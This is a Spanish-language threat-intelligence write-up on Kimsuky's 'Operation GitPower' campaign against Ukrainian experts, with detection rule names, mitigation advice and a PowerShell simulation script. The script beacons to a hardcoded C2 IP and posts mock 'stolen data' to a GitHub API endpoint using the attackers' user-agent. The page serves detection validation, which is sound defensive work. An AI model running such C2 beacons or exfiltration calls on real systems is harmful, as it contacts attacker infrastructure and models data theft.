Operación GitPower: Espionaje de Kimsuky Contra Ucrania
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Kimsuky actualmente está llevando a cabo espionaje cibernético contra expertos ucranianos en diplomacia, seguridad y política internacional. Conocida como Operación GitPower, la campaña depende de phishing spear replay-bait y abusa de plataformas de desarrollo legítimas como GitHub, GitLab y Codeberg para entregar malware. Los atacantes también han comenzado a utilizar herramientas de IA para crear documentos señuelo y automatizar procesos de ataque.
Investigación
Los investigadores revisaron múltiples etapas del ataque, incluidas archivos LNK maliciosos disfrazados como PDFs e instaladores de Zoom falsos. Rastrearon un flujo de ejecución de múltiples etapas en el que los scripts VBScript y PowerShell establecen la persistencia a través de tareas programadas. El grupo utiliza servidores C2 hardcoded y la API de GitHub para llevar a cabo la exfiltración de datos.
Mitigación
Las organizaciones deben fortalecer las capacidades de detección EDR y caza de amenazas dirigidas al abuso de archivos LNK, PowerShell y servicios de desarrollo en la nube legítimos. Se recomienda el monitoreo estricto de tareas programadas inusuales y llamadas API no autorizadas a GitHub y GitLab. Los usuarios deben ser capacitados para reconocer tácticas sofisticadas de ingeniería social de replay-baiting.
Respuesta
Después de la detección, los respondedores deben aislar los endpoints afectados para detener la exfiltración de datos adicional a través de los canales TCP C2 identificados o GitHub. Los analistas deben buscar tareas programadas no autorizadas y verificar el directorio C:UsersPublic en busca de archivos VBS/PS1 maliciosos. Es esencial correlacionar las ejecuciones de LNK con conexiones de red posteriores a servicios en la nube legítimos.
Flujo de Ataque
Aún estamos actualizando esta parte.
Detecciones
Archivo LNK Posiblemente Malicioso con Doble Extensión (via cmdline)
Powershell Ejecutando Archivo en Directorio Sospechoso Usando Bypass Execution Policy (via cmdline)
Schtasks Apunta a Directorio / Binario / Script Sospechoso (via cmdline)
LOLBAS WScript / CScript (via process_creation)
Ejecución Sospechosa desde Perfil de Usuario Público (via process_creation)
Uso Sospechoso de CURL (via cmdline)
Uso Sospechoso de Invoke-RestMethod (via powershell)
Llamada a Métodos .NET Sospechosos desde Powershell (via powershell)
Descarga de Archivo de Github Posiblemente Iniciada por Proceso No Habitual (via network_connection)
Archivos Sospechosos en Perfil de Usuario Público (via file_event)
COIs (HashMd5) para detectar: Operación GitPower de Kimsuky Dirigida a Ucrania Parte 4
COIs (HashMd5) para detectar: Operación GitPower de Kimsuky Dirigida a Ucrania Parte 3
COIs (HashMd5) para detectar: Operación GitPower de Kimsuky Dirigida a Ucrania Parte 2
COIs (HashMd5) para detectar: Operación GitPower de Kimsuky Dirigida a Ucrania Parte 1
COIs (SourceIP) para detectar: Operación GitPower de Kimsuky Dirigida a Ucrania
COIs (DestinationIP) para detectar: Operación GitPower de Kimsuky Dirigida a Ucrania
Detección de Conexión TCP C2 y Exfiltración Basada en GitHub en Actividad de Kimsuky [Windows Network Connection]
Detectar Tarea Programada GoogleUpdateTaskMachineUA para Ejecución de Script Malicioso [Windows Sysmon]
Archivos LNK Utilizados para Ejecutar Scripts Maliciosos de PowerShell con Ofuscación y Persistencia [Windows Process Creation]
Ejecución de Simulación
-
Narrativa de Ataque & Comandos: El adversario apunta a establecer comunicación de Comando y Control (C2) y exfiltrar datos sensibles a través de GitHub. Primero, el atacante establece una conexión TCP al IP C2 hardcoded
111.92.246.145en el puerto12345para señalar preparación. En segundo lugar, para evitar la detección mediante la monitorización tradicional de transferencia de datos, el atacante utiliza un enfoque «living-off-the-land» subiendo un documento robado a un repositorio de GitHub a través de la API de Contenidos de GitHub, imitando específicamente el User-Agent de KimsukyGitHub-API/1.0. -
Script de Prueba de Regresión:
# Script de Simulación para Validación de Detección de Kimsuky Write-Host "[+] Iniciando Simulación de Kimsuky..." -ForegroundColor Cyan # 1. Simular Conexión C2 (TCP 111.92.246.145:12345) Write-Host "[+] Intentando conexión C2 a 111.92.246.145:12345" -ForegroundColor Yellow try { $tcpClient = New-Object System.Net.Sockets.TcpClient $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null) # Usamos un tiempo de espera corto para que el script no se cuelgue si la IP no está disponible $success = $connection.AsyncWaitHandle.WaitOne(2000, $false) if (-not $success) { Write-Host "[!] Conexión fallida (esperado si la IP está fuera de línea), pero la telemetría aún debería ser registrada por Sysmon." -ForegroundColor Gray } $tcpClient.Close() } catch { Write-Host "[!] Error durante la simulación C2: $($_.Exception.Message)" -ForegroundColor Red } # 2. Simular Exfiltración de GitHub (POST a API de GitHub con User-Agent específico) Write-Host "[+] Intentando simulación de Exfiltración de API de GitHub..." -ForegroundColor Yellow $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt" $userAgent = "GitHub-API/1.0" $headers = @{ "Authorization" = "token FAKE_TOKEN_FOR_TESTING" "Content-Type" = "application/json" } $body = @{ "message" = "Exfiltrating data" "content" = "SGVsbG8gV29ybGQ=" # Base64 para "Hello World" } | ConvertTo-Json try { # Usando -UserAgent para activar la lógica de detección específica Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent } catch { Write-Host "[!] Solicitud HTTP completada (Se esperaba 404/401 para URL falsa, pero se envió el User-Agent)." -ForegroundColor Gray } Write-Host "[+] Simulación Completa." -ForegroundColor Cyan -
Comandos de Limpieza:
# No se crearon artefactos persistentes con este script de simulación. # Si se utilizaron archivos locales para el contenido, deberían eliminarse: Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue Write-Host "[+] Limpieza completa." -ForegroundColor Green